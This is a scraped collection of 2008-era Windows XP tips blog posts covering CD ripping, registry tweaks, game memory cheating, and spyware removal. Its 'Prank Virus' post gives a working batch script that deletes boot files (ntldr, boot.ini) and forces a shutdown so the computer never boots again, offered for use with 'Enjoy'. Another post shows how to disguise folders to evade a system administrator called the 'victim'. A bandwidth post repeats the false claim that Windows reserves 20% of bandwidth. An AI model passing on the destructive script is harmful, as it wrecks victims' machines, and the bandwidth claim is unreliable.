LAME is the highest quality MP3 encoder currently available. It has been tweaked and tested for hours on end by audiophiles using very expensive equipment. Download the LAME executable and place it in the directory you installed EAC. (Usually C:\Program Files\Exact Audio Copy\) There is no install program for LAME, it's simply an executable file.

Step 2b: (For WindowsXP and Win2k Users Only)
Download the Nero ASPI Layer DLL. You must place this DLL file in the directory you installed EAC. (Usually C:\Program Files\Exact Audio Copy). Windows 95/98/ME already has an ASPI layer built in.

Step 3: Downloading the .CFG File
Start up Exact Audio Copy. You will see a screen like the one to the right. From the pulldown menu, select which drive you would like to use with EAC. Make a note of which Adapter this drive uses.

Depending on which Adapter your drive uses, download the EAC configuration profile for:
Adapter 0, Adapter 1, Adapter 2, or Adapter 3

Save this .CFG file to your Exact Audio Copy profiles directory. (Usually C:\Program Files\Exact Audio Copy\Profiles\) This .CFG file contains what I believe to be the best options for EAC. Obviously you can decide for yourself, but this will get you up and running. Using this configuration will ensure that your rips are 100% perfect, and you are using the highest quality MP3 switches with the

Step 4: Loading the .CFG File
Close down EAC and then restart it. The .CFG profile you downloaded in step 3 should now be available in the profile menu at the bottom right of your EAC screen. (As shown in the picture to the right).

With the correct .CFG file selected, please be sure you are pointing EAC to the LAME executable. If you saved lame.exe to your C:\Program Files\Exact Audio Copy\ directory you won't have to change anything. Otherwise, from the EAC Menu select compression options -> external compresion and hit the browse button. Point EAC to lame.exe and select OK.

Step 5: Using EAC
Put a CD in the drive you wish to use. If you're hooked up to the 'Net, hit Alt-G to have EAC name your tracks for you (otherwise use F2 to edit track titles). Highlight a track and click on the MP3 button on the left-hand side of the EAC screen.

Congratulations, you are now creating the best MP3s on earth!

Author: Chris Myden

Windows XP Hidden Applications [Windows XP Tips]

2008-09-03T18:18:00.004+08:00

To run any of these apps go to Start -> Run and type the executable name, for example: charmap for [Character Map]

1. Character Map = charmap.exe (very useful for finding unusual characters)

2. Disk Cleanup = cleanmgr.exe

3. Clipboard Viewer = clipbrd.exe (views contents of Windows clipboard)

4. Dr Watson = drwtsn32.exe (Troubleshooting tool)

5. DirectX diagnosis = dxdiag.exe (Diagnose & test DirectX, video & sound cards)

6. Private character editor = eudcedit.exe (allows creation or modification of characters)

7. IExpress Wizard = iexpress.exe (Create self-extracting / self-installing package)

8. Mcft Synchronization Manager = mobsync.exe (appears to allow synchronization of files on the network for when working offline. Apparently undocumented).

9. Windows Media Player 5.1 = mplay32.exe (Retro version of Media Player, very basic).

10. ODBC Data Source Administrator = odbcad32.exe (something to do with databases)

11. Object Packager = packager.exe (to do with packaging objects for insertion in files, appears to have comprehensive help files).

12. System Monitor = perfmon.exe (very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance, for uber-geeks only )

13. Program Manager = progman.exe (Legacy Windows 3.x desktop shell).

14. Remote Access phone book = rasphone.exe (documentation is virtually non-existant).

15. Registry Editor = regedt32.exe [also regedit.exe] (for hacking the Windows Registry).

16. Network shared folder wizard = shrpubw.exe (creates shared folders on network).

17. File siganture verification tool = sigverif.exe

18. Volume Contro = sndvol32.exe (I've included this for those people that lose it from the System Notification area).

19. System Configuration Editor = sysedit.exe (modify System.ini & Win.ini just like in Win98! ).

20. Syskey = syskey.exe (Secures XP Account database - use with care, it's virtually undocumented but it appears to encrypt all passwords, I'm not sure of the full implications).

21. Mcft Telnet Client = telnet.exe

22. Driver Verifier Manager = verifier.exe (seems to be a utility for monitoring the actions of drivers, might be useful for people having driver problems. Undocumented).

23. Windows for Workgroups Chat = winchat.exe (appears to be an old NT utility to allow chat sessions over a LAN, help files available).

24. System configuration = msconfig.exe (can use to control starup programs)

25. gpedit.msc used to manage group policies, and permissions

Hide Folders In Windows - The Hackers Way [Windows XP Tricks]

2008-09-02T20:08:00.006+08:00

Concept
We Make a folder that looks like control panel or recycle bin when system admin (victim) tries to access it he'll get directed to the location Control Panel or Recycle Bin depending on the folder you named. But if you try to access it using ftp or total commander you get straight into your folder

Steps

1. Make A folder , put some contents in it (if you wish to)

2. Rename it "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
without the quotes to make it look like control panel

3. Double click on it

4. Voila you land into control panel

5. Try to access the same folder with total commander or via ftp client . you can easily view the contents

Extra Stuff
To make it look like other things try these

Internet Explorer.{FBF23B42-E3F0-101B-8488-00AA003E56F8}

Recycle Bin.{645FF040-5081-101B-9F08-00AA002F954E}

My Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

My Documents.{ECF03A32-103D-11d2-854D-006008059367}

Fonts.{BD84B380-8CA2-1069-AB1D-08000948F534}

Note: You can change the name to anything, i mean it can be
MYFOLDER.{21EC2020-3AEA-1069-A2DD-08002B30309D}

but still it will look like control panel just make sure to keep the extension same
One good look at the registry key

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentV ersionexplorerDesktopNameSpace

it contain the sets of folder extensions that you can use.

Increase Bandwidth by 20% [Windows XP Tricks]

2008-09-01T22:41:00.004+08:00

For some reasons by default upon installation of your Windows XP Win 2000 Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC, etc.

Well you can have the option to override the default setting "Break the Rules" , If you change it to 0 then the 20 % incrase in your bandwidth.

Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor, then go to:

1. Local Computer Policy

2. Computer Configuration

3. Administrative Templates

4. Network

5. QOS Packet Scheduler

6. Limit Reservable Bandwidth.

7. Double click on Limit Reservable bandwidth.

It will say it is not configured, but the truth is under the 'Explain' tab i.e. "By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default." So the trick is to ENABLE reservable bandwidth, then set it to ZERO "0". This will allow the system to reserve nothing, rather than the default 20% (It works on Win 2000 as well.)

Prank Virus [Windows XP Configuration]

2008-09-01T22:18:00.005+08:00

A Virus Code That Will Crash Ur Computer Just copy the code given belows ....in notepad

@echo off

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

@echo off

msg * U R Screwed!!!

shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

and now save this code as anyname.bat like abc.bat when u double click on it....a message will pop up saying " U R Screwed" and it will shut down ur computer and never boot again... Enjoy

WARNING: DO AT YOUR OWN RISK

Cheat Flash based Games [PC Game]

2008-08-25T19:39:00.006+08:00

Today I am going to share with you on how to cheat on flash based games. Most of the computer games that can be installed on computer has backdoor cheats where you simply type the code and you get unlimited money, health and so on. But flash game seldom has built-in cheats. I’ve introduced 2 flash based games which is Tower Defense and Sword and Sandals. Honestly I find both games impossible to win after a few rounds. Tried looking for cheat codes but it’s not available. The only way to cheat in flash based games is to hack the memory.

This method I am going to teach you can work for ALL flash based games. As long as it is developed by flash, you can use the same method with the same logic to cheat your way through.

To cheat in flash games, you’ll need
1. Cheat Engine

2. Calculator (Start -> Programs -> Accessories -> Calculator)

3. A little luck and brains

Here’s the simple explanation on how you’re going to hack flash games with CheatEngine. You are going to use CheatEngine to load the browser that is running the flash game, search for the value in the memory, modify or freeze the value. If you change the value to a higher number, you’ll get a higher value. If you freeze it, that means you won’t run out of that value.

For example, you want to increase your health from 200 to a higher number. Just multiple 200 with 8 which equals to 1600. At CheatEngine, enter 1600 at the value and click on First Scan button. You should have more than 1 result. So you must test one by one until you find the correct address to modify. Make sure you change back to the original value on the address that’s not right one to avoid the game being corrupted.

In short, any value in the game MUST be multiplied by 8 before searching using CheatEngine.

Here’s a demonstration of how I hack my way through in Tower Defense.
Run CheatEngine and load the process that you used to load the flash game. I use Internet Explorer, so the process would be iexplore.exe. When you start playing Tower Defense, you’ll get only 40 gold. I have to multiply 40 with 8 and I get 320. Enter 320 in the CheatEngine value and click on First Scan button. I got 105 result which is too much to guess which is the address I should modify to get more gold.

So I should spend a little gold and try searching again until I get less result.

Now I have 73 gold.

I multiply 73 with 8 and got 584. I searched again in CheatEngine with the value 584 and this time I got only 27 result. What I do next is right click on the results and click on and all 27 results would be copied to the address list. Next, click once on the address list and press CTRL+A simultaneously. You’ll again see all 27 results highlighted. Right click and go to Change record -> Value. Enter the new value 4672. I got 4672 by multiplying 584 with 8. This new value which I am going to enter will be the new amount of Gold I want. Once done, simply spend a little money on the game and you’ll notice that the Gold is updated with the new amount!(which is 539 for me)

Until now, we still don’t know which actual address to hack to get more gold. We use the same step above but this time with the current gold. I now have 539 gold. Multiply 539 with 8 equals 4312. I search for 4312 in CheatEngine and this time I ONLY got 2 result! So the actual address to hack the gold is either one! I try the first one by adding it to the address list, and change the value from 4312 to 34496. Why 34496? It’s because I multiplied 4312 with 8. Remember, always multiply your values with 8. I spend a little money on building tower, but the gold did not increase. Now I automatically know that it’s the second address that’s determine the amount of gold I have. Simply update the second address’s value with a higher number and you’ll get lots of gold to build towers!

Here’s another demonstration on how I cheat my way through on Swords and Sandals 2.
Run CheatEngine, load Internet Explorer that runs the flash Swords and Sandals 2 game.
First, to hack the amount of gold. We have 2500 of gold for starting. Take 2500 times 8 equals 20000. Enter 20000 in CheatEngine and click on First Scan. I found only 4 results.

Add all 4 results to the address list and change all 4 values from 20000 to 160000. I got 160000 by multiplying 8 with 20000. Went back to the game and immediately my gold has been updated to 20000 gold pieces!

To identify which address out of the 4 is the one that’s affecting the gold, simply spend a little gold and you’ll notice a change in your CheatEngine. I spent 250 gold and immediately I saw one of the address in CheatEngine updated the value from 160000 to 158000.

Note: For any value you hacked, you can freeze it by checking the Frozen button. Meaning if you spent your gold, it won’t deduct your gold. But you have to be sure that the value is the exact one otherwise you might corrupt the game and you have to start all over again. You can also have GOD mode by freezing your health.

Have Fun!

Internet Explorer Control Panel Restrictions [Internet Tips]

2008-08-25T19:33:00.002+08:00

1. Start Regedit

2. Create the following key if it is not already there:

HKEY_CURRENT_USER \ Software \ Policies \ Microsoft \ Internet Explorer \ Control Panel

3. Under this key create any of the following strings to enable the restrictions you want.

4. A value of 1 will enable the restriction

5. Remove the string to disable it

- Accessibility = Accessibility settings
- Advanced = Advanced settings
- AdvancedTab = Advanced tab
- Autoconfig = Autoconfig settings

- Cache = Cache settings
- CalendarContact = Contact settings
- Check_If_Default = Check if IE default browser setting
- Connection Settings = Change Connection Type
- Certificates = Certificates settings
- CertifPers = Personal Certificates settings
- CertifSite = Certificates Publishers settings
- Colors = Colors settings
- Connection Wizard = Ability to run the Connection Wizard
- ConnectionsTab = Connections tab
- Connwiz Admin Lock = Connection Wizard administrative lockout
- ContentTab = Content tab

- Fonts = Fonts settings
- FormSuggest = Forms suggest setting
- FormSuggest Passwords = Passwords suggest setting

- GeneralTab = General tab

- History = History settings
- HomePage = Home Page settings

- Languages = Languages settings
- Links = Links settings

- Messaging = MS Messaging settings

- Profiles = Profiles settings
- ProgramsTab = Programs tab
- Proxy = Proxy settings

- Ratings = Ratings settings
- ResetWebSettings = Reset web settings

- SecAddSites = Security Add sites settings
- SecChangeSettings = Security changes
- SecurityTab = Security tab
- Settings = Settings boxes

- Wallet = MS Wallet settings (IE 5.xx and newer)

When to use Null and "" to check if data exist [ASP.Net Tips]

2008-07-26T02:46:00.010+08:00

To check if data exist when retrieving fields values from a database use the following.

Code: C#

Use null if field name data type is a date or number.

if (myDateField == null)
{
//do something
}

Use double quote "" if field name data type is a string.

if (myStringField == "")
{
//do something
}

New Device Developed for Stealing Your Password [PC Security]

2008-07-11T18:05:00.005+08:00

A new device has been introduced to the marketplace that is a huge danger to anyone who uses a PC that is not theirs. It is known as a key tracker and it sits between the keyboard and the PC. As can be seen in the pictures it is very discreet but is probably one of the most dangerous items of equipment to personal information that is readily available. These devices record every key that is pressed on the keyboard. Due to it's position (it sits between the keyboard and the PC) the information is logged by the tracker before the PC knows about it and as such is very difficult for the PC to detect. They are available in both USB and PS2 formats so pretty much any PC can be logged. The user puts the tracker in line, leaves it there for a set amount of time and then retrieves it. They can then download the data onto their own PC.

If you intend to use a PC that is not yours (ie hotel busines
s centre, internet café, airport etc) I would advise looking at the back of the PC to see if one of these trackers has been placed in line (scrambling under a desk is the better alternative to losing your email details). If you cannot get to see the back of the PC, I would suggest you don't use it for anything personal. If a tracker is there and you do not notice it, whoever placed it there (could be any user of that PC before you) will be able to recall all of your keystrokes - logins, passwords etc.
These trackers cost less than £30 and they are definitely out there already.

Enable RegEdit.exe when Infected by Virus [Windows XP Configuration]

2008-07-06T13:19:00.005+08:00

Problem
Can't access regedit.exe and prompt you "Registry editing has been disabled by your administrator"

Solution

1. Open Notepad

2. Copy and Paste the code below

'----------------------------------------------------------------------------------

'Enable/Disable Registry Editing tools

'© Doug Knox - rev 12/06/99

'This code may be freely distributed/modified as long as it remains free of charge

'http://www.icpug.org.uk/national/features/030607fe.htm

'Edited by PatheticCockroach - http://patheticcockroach.com

Option Explicit

'Declare variables

Dim WSHShell, rr, rr2, MyBox, val, val2, ttl, toggle

Dim jobfunc, itemtype

On Error Resume Next

Set WSHShell = WScript.CreateObject("WScript.Shell")

val = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"

val2 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"

itemtype = "REG_DWORD"

jobfunc = "Registry Editing Tools are now "

ttl = "Result"

'reads the registry key value.

rr = WSHShell.RegRead (val)

rr2 = WSHShell.RegRead (val2)

toggle=1

If (rr=1 or rr2=1) Then toggle=0

If toggle = 1 Then

WSHShell.RegWrite val, 1, itemtype

WSHShell.RegWrite val2, 1, itemtype

Mybox = MsgBox(jobfunc & "disabled.", 4096, ttl)

Else

WSHShell.RegDelete val

WSHShell.RegDelete val2

Mybox = MsgBox(jobfunc & "enabled.", 4096, ttl)

End If

'----------------------------------------------------------------------------------

3. Save this file as "EnableRegEdit.vbs" with quotes.
4. Locate and double-click EnableRegEdit.vbs

You can now access you're regedit.exe.

Fixing the localhost authentication problem in FireFox [Windows Xp Configuration]

2008-07-06T13:11:00.003+08:00

Problem
Microsoft Internet Explorer could load http://localhost but will not fire on Firefox.

Solution
1. In Firefox type about:config in the addressbar

2. Find the preference named network.automatic-ntlm-auth.trusted-uris

3. Doubleclick and type localhost

4. Press Enter

5. Close your firefox and open again.

Your done.

Have A better disk cleanup Windows XP [Windows XP Tips]

2008-07-05T11:57:00.001+08:00

This tip will show you how to create an unattended disk cleanup which will also empty your prefetch folder. This tip assumes you have Windows XP installed in c:\windows.

Step 1.
Create a new text file and place the following contents inside:

c:\windows\system32\cleanmgr.exe /dc /sageset: 1
c:
cd \
cd c:\windows\prefetch
del *.* /q

Step 2.
Save the file, changing the extension from .txt to .bat
For this tip's purpose, we will call it clean.bat

Step 3.
Execute the file. This will run the Disk Cleanup program in a special mode which asks what items you will want cleaned when Disk Cleanup performs an unattended cleanup. Check the items you wish to have cleaned up, then click OK.

Step 4.
Right-click on the clean.bat file and click edit. Change the first line to read:

c:\windows\system32\cleanmgr.exe /dc /sagerun: 1

Step 5.
Save the file. You can execute this file in place of running Disk Cleanup, or, to have this program run unattended, run the Add Scheduled Task Wizard in the Control Panel and create a scheduled task using the clean.bat file you just created.

Note: This cleanup script will also clear windows prefetch directory. Often this directory can become cluttered with old appication and a cleaning would free up disk space but it will result in a one time performance decrease and windows has to rebuild the cache with active software afterwards.

Create A Shutdown Or Reboot Icon XP [Windows XP Tips]

2008-07-05T11:56:00.003+08:00

Windows XP has a program called SHUTDOWN.EXE which allows you to easily create icons to shutdown or restart your computer.

To create a shutdown shortcut on the desktop

1. Right click on an open area of the desktop

2. Select New / Shortcut

3. Enter in "shutdown -s -t 00" - no quotes

4. Press the Next button

For the name, enter in anything you like. I just use shutdown. Click on the Finish button.

5. For a reboot, enter "shutdown -r -t 00"

Shutdown [{-l|-s|-r|-a}] [-f] [-m [\\ComputerName]]
[-t xx] [-c "message"] [-d[u][p]:xx:yy]

Parameters

-l - Logs off the current user, this is also
the defualt. -m

ComputerName takes precedence.

-s - Shuts down the local computer.
-r - Reboots after shutdown.
-a - Aborts shutdown. Ignores other parameters,
except -l and

ComputerName
You can only use -a during the time-out period.

-f - Forces running applications to close.
-m [\\ComputerName] - Specifies the computer that you want to shut down.
-t xx - Sets the timer for system shutdown in xx seconds. The default is 20 seconds.
-c "message" - Specifies a message to be displayed in the Message area of the System Shutdown window. You can use a maximum of 127 characters. You must enclose the message in quotation marks.

Disable prefetch on low memory systems [Windows XP Tricks]

2008-07-05T11:54:00.001+08:00

Prefetch is designed to speed up program launching by preloading programs into memory - not a good idea is memory is in short supply, as it can make programs hang.

To disable prefetch

1. Click 'Start' then 'Run'

2. Type in 'Regedit' then click 'Ok'

3. Navigate to

'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters\'

4. Right-click on "EnablePrefetcher" and set the value to '0'

5. Reboot.

Ensure that XP is using DMA mode [Windows XP Tips]

2008-07-05T11:53:00.001+08:00

XP enables DMA for Hard-Drives and CD-Roms by default on most ATA or ATAPI (IDE) devices. However, sometimes computers switch to PIO mode which is slower for data transfer - a typical reason is because of a virus. To ensure that your machine is using DMA:

1. Open 'Device Manager'

2. Double-click 'IDE ATA/ATAPI Controllers'

3. Right-click 'Primary Channel' and select 'Properties' and then 'Advanced Settings'

4. In the 'Current Transfer Mode' drop-down box, select 'DMA if

Available' if the current setting is 'PIO Only'

Improve Shutdown Speed XP [Windows XP Tricks]

2008-07-05T11:50:00.003+08:00

This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.

1. Go to Start then select Run

2. Type 'Regedit' and click ok

3. Find 'HKEY_CURRENT_USER\Control Panel\Desktop\

4. Select 'WaitToKillAppTimeout'

5. Right click and select 'Modify'

6. Change the value to '1000'

7. Click 'OK'

1. Now select 'HungAppTimeout'

2. Right click and select 'Modify'

3. Change the value to '1000'

4. Click 'OK'

1. Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop

2. Select 'WaitToKillAppTimeout'

3. Right click and select 'Modify'

4. Change the value to '1000'

5. Click 'OK'

1. Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\

2. Select 'WaitToKillServiceTimeout'

3. Right click and select 'Modify'

4. Change the value to '1000'

5. Click 'OK'

Make Menus Load Faster XP [Windows XP Tricks]

2008-07-05T11:47:00.003+08:00

This is one of my favorite tweaks as it makes a huge difference to how fast your machine will 'feel'. What this tweak does is remove the slight delay between clicking on a menu and XP displaying the menu.

1. Go to Start then Run

2. Type 'Regedit' then click 'Ok'

3. Find "HKEY_CURRENT_USER\Control Panel\Desktop\"

4. Select "MenuShowDelay"

5. Right click and select "Modify'

6. Reduce the number to around "100"

This is the delay time before a menu is opened. You can set it to "0" but it can make windows really hard to use as menus will open if you just look at them - well move your mouse over them anyway. I tend to go for anywhere between 50-150 depending on my mood.

Disable System Sound XP [Windows XP Tips]

2008-07-05T11:46:00.001+08:00

Surprisingly, the beeps that your computer makes for various system sounds can slow it down, particularly at startup and shutdown.

To fix this turn off the system sounds

1. Open Control Panel

2. Click Sounds and Audio Devices

3. Check Place volume icon in taskbar

4. Click Sounds Tab

5. Choose "No Sounds" for the Sound Scheme

6. Click "No"

7. Click "Apply"

8. Click "OK"

Turn Off System Restore XP [Windows XP Tips]

2008-07-05T11:45:00.002+08:00

System Restore can be a useful if your computer is having problems, however storing all the restore points can literally take up Gigabytes of space on your hard drive. To turn off System Restore:

1. Open Control Panel

2. Click on Performance and Maintenance

3. Click on System

4. Click on the System Restore tab

5. Tick 'Turn off System Restore on All Drives'

6. Click 'Ok'

Remove Font For Speed XP [Windows XP Tips]

2008-07-05T11:40:00.001+08:00

Fonts, especially TrueType fonts, use quite a bit of system resources. For optimal performance, trim your fonts down to just those that you need to use on a daily basis and fonts that applications may require.

1. Open Control Panel

2. Open Fonts folder

3. Move fonts you don't need to a temporary directory (e.g. C:\FONTBKUP?) just in case

You need or want to bring a few of them back. The more fonts you uninstall, the more system resources you will gain.

Remove The Desktop Picture [Windows Xp Tips]

2008-07-05T11:39:00.002+08:00

Your desktop background consumes a fair amount of memory and can slow the loading time of your system. Removing it will improve performance.

1. Right click on Desktop and select Properties

2. Select the Desktop tab

3. In the Background window select None

4. Click Ok

Speed Up Folder Browsing XP [Windows XP Tricks]

2008-07-05T11:38:00.002+08:00

You may have noticed that everytime you open my computer to browse folders that there is a slight delay. This is because Windows XP automatically searches for network files and printers everytime you open Windows Explorer.

To fix this and to increase browsing significantly:

1. Open My Computer

2. Click on Tools menu

3. Click on Folder Options

4. Click on the View tab.

5. Uncheck the Automatically search for network folders and printers check box

6. Click Apply

7. Click Ok

8. Reboot your computer

Fix Corrupted Files [Windows XP Repair]

2008-07-05T11:36:00.002+08:00

Symptoms
Everytime you open your PC, message prompt missing file or exe

What to do

1. Place XP cd in the CDROM

2. Go to Start -> Run

3. Type 'sfc /scannow' without the '

Manual Remove Virus From The Sytem [Windows XP Security]

2008-07-05T11:35:00.002+08:00

Symptoms
PC suddenly restart at a certain period of time.

What to do

1. Restart your computer

2. Press F8 and select Safe Mode

3. Click Start -> Run

4. Type regedit.exe

5. At HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run

Look for some suspicious program and delete it.

Optimise Display Settings [Windows XP Tips]

2008-07-05T11:34:00.001+08:00

Windows XP can look sexy but displaying all the visual items can waste system resources.

To optimise

1.Go to Start

2. Click Settings

3. Click Control Panel

4. Click System

5. Click Advanced tab

6. In the Performance tab click Settings

7. Leave only the following ticked:

- Show shadows under menus
- Show shadows under mouse pointer
- Show translucent selection rectangle
- Use drop shadows for icons labels on the desktop
- Use visual styles on windows and buttons

Fix Internet Explorer 6 Slowdowns And Hangs [Internet Tips]

2008-07-05T11:33:00.002+08:00

1. Open a command prompt window on the desktop (Start/Run/command).

2. Exit IE and Windows Explorer (iexplore.exe and explorer.exe, respectively, in Task Manager, i.e - Ctrl-Alt-Del/Task Manager/Processes/End Process for each).

3. Use the following command exactly from your command prompt window to delete the corrupt file: C:\>del "%systemdrive%\Documents and Settings\%username%\Local Settings\Temporary Internet Files\Content.IE5\index.dat"

4. Restart Windows Explorer with Task Manager (Ctrl-Alt-Del/Task Manager/Applications/New Task/Browse/C:\Windows\explorer.exe[or your path]) or Shutdown/Restart the computer from Task Manager.

Restoring Access To CD ROM'S [Windows XP Tricks]

2008-07-05T11:32:00.001+08:00

If you removed CD Burning software, or for some other mystical reason, can not longer access your CD ROM's, in most cases following registry keys needs to be deleted:

Locate and delete the UpperFilters and LowerFilters values under the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}

Restoring Media Player [Windows XP Repair]

2008-07-05T11:30:00.003+08:00

To restore Windows Media Player

1. Insert the the XP CD into the CD drive (if it autostarts click exit).

2. Open a command window and type the following :rundll32.exe setupapi,InstallHinfSection InstallWMP7 132 c:\windows\inf\wmp.inf

Make A Windows XP Startup Disk [Windows XP Tips]

2008-07-05T11:06:00.002+08:00

1. Put a floopy disk in your floopy drive. One you have done this,

2. Go to My computer, and right click on A:/.

3. Click on format, and then at the bottom,

4. Click Make Boot Disk. Click Format.

PC Errors and The Solution [PC Repair]

2008-07-05T11:04:00.004+08:00

1. MONITOR LED IS BLINKING
Check all the connections like Monitor Cable, Data cables,RAM, Display Card , CPU connections.

2. CONTINUOUS THREE BEEPS
Problem in RAM Connection.

3. THREE BEEPS ( 1 Long 2 Short)
Problem in Display Card Connection

4. THREE LONG BEEPS PERIOD WISE
Problem in BIOS or RAM (Basic Input Output System)

5. CONTINUOUS NON-STOP BEEPING
Key Board Problem (I.e.; Some Key is pressed for Longer time)

6. FDD LED IS GLOWING CONTINUOUSLY
Data cable to be connected properly (twisted cable).

7. NO DISPLAY ON THE SCREEN AT ALL
Hard Disk cable connected wrongly. Connect rightly seeing the Red mark (Faces power supply) and then Restart.

8. POWER LED IS OFF
a. Check main power cord
b. Check S.M.P.S.
c. Check Mother Board connection

9. SHOWING CMOS ERROR
Replace 3 Volt battery of Mother Board . Set Original Settings Manually.(Refer CMOS Setup chart)
Enter your search termsSubmit search form

10. SHOWING FDD ERROR OR FLOPPY DRIVE IS NOT WORKING PROPERLY
Check Power cord of FDD , Data Cables , set CMOS & Finally the Check drive.

11. SHOWING HDD ERROR OR HARD DISK FAILURE
a. Check Power Cord

b. Check connection of HDD

c. Check Data cable

d. Check Hard Disk parameters in CMOS or Auto detecting Setting Partitions by Fdisk Command, then format it to set track 0.

12. MOTHER BOARD HANGS DUE TO UNSTABILIZED POWER SUPPLY
a. Check S.M.P.S

b. RAM not functioning properly.

c. Software problem (due to using pirated software)

d. CPU fan not functioning properly.

13. DANCING SCREEN
a. Check Display card connection

b. Virus Problem

c. Video Memory Problem

14. SHAKING SCREEN
a. Earthing problem

b. Magnetic waves comes around.

15. CPU CABINET SHOCK
a. Check Earthing

b. Check main power cord.

16. NON-SYSTEM DISK ERROR
a. Floppy Drive having different disk (Non-Bootable Disk) OR CMOS Parameters for Hard Disk may not be set properly.

b. Hard Disk Partitions may not be created.

c. Hard Disk may not be formatted.

7. MISSING OPERATING SYSTEM
The System files missing namely Ie; command.com} - User File IO.SYS & MS_DOS.SYS } - Hidden Files. These above three files required for Start up of the system that can be transferred by using SYS C: Command OR While the time of formatting by using Format c:/u/s

18. MISSING COMMAND INTERPRETOR
May the file Command.com is corrupted OR Infected by Virus OR Some one has Erased it.

19. SHOWING I/O ERROR
a. The type of Hard Disk in CMOS may not be set properly.

b. Operating system used for formatting is not valid

20. SHOWING DIVIDE OVER- FLOW MESSAGE
a. May some Directories or Files crash with other files.

b. Use CHKDSK/F or SCANDISK Command to correct it.

21. HARD DISK MAKING NOISE WHILE PROCESSING
a. Unstabilized power supply.

b. Check for Loose Contact.

c. Do not use Y Connectors for Hard Disk.

d. It may create Bad Sector OR Weak Hard Disk.

22. HARD DISK HANGS WHILE PROCESSING
Check for Bad Sector by using CHKDSK or SCANDISK Command. If found format the Hard Disk and set Partition before that area.(This is the only procedure to use Hard Disk with Bad Sector) OR (To avoid Bad Sectors use Standard Power Supply)

23. HARD DISK NOT DETECTED
a. Check Power Connector

b. Check Data Cables

c. Check Jumpers

24. PARTITION NOT SHOWN
Operating System where the Hard Disk formatted is not supported with present Mother Board. For Eg: Hard Disk formatted with Pentium System will hide their partitions for 486 System.

25. MMX/DLL FILE MISSING
May the above files may be corrupted due to power failure or Virus. Make available above files from other Computer. OR Reinstall Windows 98 Operating System. (This procedure will not make any effect on existing Data).

26. WINDOWS REGISTRY ERROR
This will happen due to sudden ON/OFF of the system. Final solution is to Reinstall Operating System.

27. DISPLAY COLOUR DOES NOT MATCH
a. Configure Display Card properly with their CD.

b. The Standard setting for Windows is set it to 800x600 for better performance.

28. UNKNOWN DEVICE FOUND
May the Driver utility is not provided with operating system . Insert Driver CD and install software for the above Device. (Every Device requires driver utility to set active

Protect your PC from Spyware or Malware [Windows XP Security]

2008-07-05T11:01:00.005+08:00

What is spy-ware?
Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.

Known spywares
There are thousands out there, new ones are added to the list everyday. But here are a few:
Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.

How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.

Check Here: http://www.spywareguide.com/product_search.php

If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.

Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware

If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D (http://www.safer-networking.org/) This program is Free
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.

The best scanner out there, and updated all the time.
Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware
Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.

If you would like to prevent "spyware" being install.
Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free
Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free
